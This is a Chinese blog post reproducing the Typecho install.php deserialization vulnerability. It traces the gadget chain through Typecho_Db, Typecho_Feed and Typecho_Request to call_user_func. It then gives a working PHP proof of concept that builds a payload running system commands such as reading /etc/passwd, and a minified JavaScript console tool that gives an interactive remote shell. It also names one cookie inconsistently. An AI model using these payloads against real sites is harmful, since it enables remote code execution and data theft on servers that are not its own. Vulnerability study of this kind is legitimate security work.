Typecho install.php 反序列化漏洞复现

Typecho install.php 反序列化漏洞复现

安全 2214 字 / 4 分钟

昨天0ctf,唯一的一道 web 还是 Java,那个鬼椒的 hint 也是无语。直接自闭了。 对面的 bin 爷爷肝的不亦乐乎,web 狗只能在角落摸鱼。 之后我便去复现周五协会培训时司大哥讲的 Typecho 反序列化漏洞。之前听的时候,到后半部分有些理不清了,自己尝试的时候才差不多搞明白。 其实反序列化难就难在 pop 链的构造,真的是一环套一环啊。需要明白哪些变量使我们可控的,有哪些魔术方法可以被触发等等。 那么,接下来就来梳理一下 Typecho 的这个反序列化漏洞吧。

入口install.php

install.php的 231 行:

<?php
	$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
	Typecho_Cookie::delete('__typecho_config');
	$db = new Typecho_Db($config['adapter'], $config['prefix']);
	$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
	Typecho_Db::set($db);
?>

这里$config变量的生成,有一个unserialize函数,并且传入的参数也是我们可控的——名为__typecho_config的 Cookie。 之后$config会被当做Typecho_Db类的参数,实例化Typecho_Db这个类。

Typecho_Db 中的字符串拼接

我们接着去看一下Typecho_Db这个类,在Db.php的 114 行:

public function __construct($adapterName, $prefix = 'typecho_')
{
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
	......

构造函数里将传入的$config['adapter'],也就是$adapterName进行了字符串拼接,那么如果$adapterName是一个类的话,尝试把它当做字符串对其进行拼接,会触发类中的魔术方法__toString()

那么我们只要在 Typecho 中找一个可以含有__toString()魔术方法的类。

Feed.php 中的__toString魔术方法

Feed.php的 223 行,有__toString()魔术方法,在第 358 行:

<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>

这里是访问$item['author']中的screenName对象。这里的$item是使用foreach进行遍历$this->_items数组所产生的。 而$this->_items又是当前Typecho_Feed类中的一个属性,因此可控。

Request.php 中的__get魔术方法

在上一步中,程序访问$item['author']screenName对象。而**当尝试调用一个类中不存在的方法时,将会触发类中的__get魔术方法进行处理。**PHP 开发中,当外部想要获取类中的私有属性时,经常会被用到。 因此,我们需要找到一个含有__get魔术方法的类。在Request.php的第 270 行。

public function __get($key)
{
	return $this->get($key);
}

这里调用了它自己的get方法,在 296 行,跟去看一下:

public function get($key, $default = NULL)
{
	switch (true) {
		case isset($this->_params[$key]):
			$value = $this->_params[$key];
			break;
		case isset(self::$_httpParams[$key]):
			$value = self::$_httpParams[$key];
			break;
		default:
			$value = $default;
			break;
	}

	$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
	return $this->_applyFilter($value);
}

我们传入的$key,值也就是screenName。这里会去找$this->_params中的元素,当做$value$this->_params也是当前Typecho_Request类中的属性,我们可控。 最后$value会被丢到_applyFilter方法中进行处理。看一下这个方法,在 159 行:

private function _applyFilter($value)
{
	if ($this->_filter) {
		foreach ($this->_filter as $filter) {
			$value = is_array($value) ? array_map($filter, $value) :
			call_user_func($filter, $value);
		}

		$this->_filter = array();
	}

	return $value;
}

这里,就存在一个危险函数call_user_func(),传入了两个参数,第一个$filter是数组$_filter中元素。而$_filter是当前Typecho_Request类中的属性,我们可控。第二个参数$value则是我们刚才传入的$value,同样可控。 因此call_user_func()的两个参数我们均可控,那就可以使用call_user_func('system', 'xxxx')来 getshell 了。

构造 POC

那么让我们来简单梳理一下整个流程:

  1. install.php中传入 Cookie 触发反序列化,传入Typecho_Db类中。
  2. 参数在Typecho_Db中进行了字符串拼接,会触发__toString()魔术方法
  3. Typecho_Feed类中含有__toString()魔术方法,并且有对象的访问,可构造使其访问不存在的对象,触发__get()魔术方法
  4. Typecho_Request类中含有__get()魔术方法,并且会调用自身的_applyFilter()方法。
  5. _applyFilter()方法中含有危险函数call_user_func(),其参数我们均可控。
<?php
/**
 * Created by PhpStorm.
 * User: johnwu
 * Date: 2019-03-23
 * Time: 16:18
 */

class Typecho_Request{
    public $_filter = array();
    public $_params = array();

    public function __construct(){
        $this->_params = array(
            'screenName' => "cat /etc/passwd"
        );

        $this->_filter = array(
            '233' => 'system'
        );
    }
}

class Typecho_Feed{
    public $_type = 'ATOM 1.0';		//满足 self::ATOM1 == $this->_type 才能进入 if 执行
    public $_items = array();
    public $_lang = '';
    public $_baseUrl = '';

    public function __construct(){
        $this->_items = array(array(
            'title' => '',		//元素必须存在,否则会报错
            'link' => '',
            'date' => 0,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        ));
    }
}

$config = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => ''
);

echo(base64_encode(serialize($config)));

POC 触发条件

触发漏洞的条件有两个:

  1. 传入 GET 参数finish
  2. 请求头中Referer为当前 Typecho 站点 很幸运,这些东西都可控。 以上两点具体在install.php中的第 15 行有isset($_GET['finish']),来判断是否传入了finish。在第 65 行有对Referer的判断。

之后将上面 POC 生成的 base64 加入 __typecho_lang这个 Cookie 发送请求即可。

更加牛逼的 POC

但是……我们怎么能就此满足呢?之前看到过很多很酷的 POC;本着锻炼一下自己的 JavaScript 水平,同时练练前端的心理,我花时间写了个很帅的 POC!

function addInput(a){var b=document.createElement("div");b.setAttribute("style","top: 5px;height: 20px;width: 100%;color: #FFFFFF;margin-left: 20px;font-size: 15px;"),b.innerHTML=a,content.appendChild(b)}function addOutput(a){var b=document.createElement("div");b.setAttribute("style","top: 5px;width: 95%;color: #00FF00;margin-left: 20px;font-size: 15px;"),b.innerHTML=a,content.appendChild(b)}function exec(a){var c,d,b='a:2:{s:7:"adapter";O:12:"Typecho_Feed":4:{s:5:"_type";s:8:"ATOM 1.0";s:6:"_items";a:1:{i:0;a:5:{s:5:"title";s:0:"";s:4:"link";s:0:"";s:4:"date";i:0;s:8:"category";a:1:{i:0;O:15:"Typecho_Request":2:{s:7:"_filter";a:1:{i:233;s:6:"system";}s:7:"_params";a:1:{s:10:"screenName";s:'+a.length+':"'+a+'";}}}s:6:"author";O:15:"Typecho_Request":2:{s:7:"_filter";a:1:{i:233;s:6:"system";}s:7:"_params";a:1:{s:10:"screenName";s:'+a.length+':"'+a+'";}}}}s:5:"_lang";s:0:"";s:8:"_baseUrl";s:0:"";}s:6:"prefix";s:0:"";}';b=btoa(b),document.cookie="__typecho_config="+b+";",c="",d=new XMLHttpRequest,d.open("GET",`${window.location.origin}/install.php?finish=1`,!0),d.onreadystatechange=function(){if(4==d.readyState&&200==d.status||304==d.status){c=d.responseText;var a=c.indexOf('typecho-install">');c=c.slice(a+17),a=c.indexOf("<br />"),c=c.substring(0,a),c=c.replace(/^\s*|\s*$/g,""),addOutput(c)}},d.send()}var content,control,textarea,main=document.createElement("div");main.setAttribute("style","background-color: rgba(0, 0, 0, 0.7);width: 1000px;height: 600px;position: absolute;left: 50%;top: 50%;margin-left: -500px;margin-top: -300px;"),window.document.body.appendChild(main),content=document.createElement("div"),content.setAttribute("style","width:100%;"),main.appendChild(content),control=document.createElement("div"),main.appendChild(control),textarea=document.createElement("input"),textarea.type="text",textarea.setAttribute("style","bottom: 0px; position: absolute;"),control.appendChild(textarea),document.onkeydown=function(a){var b=a||window.event;b&&13==b.keyCode&&(addInput("$ "+textarea.value),exec(textarea.value),textarea.value="")},addOutput("Typecho unserialize getshell POC"),addOutput("By: E99p1ant"),addOutput("=================================");

直接 F12 打开 devtools,复制进入 Console,回车!! 直接弹出一个很酷的 Shell!这是拿 JavaScript 画的,然后拼接原本 PHP 生成的 POC,base64_encode后通过 ajax 来向install.php发送请求。 就很帅嘻嘻~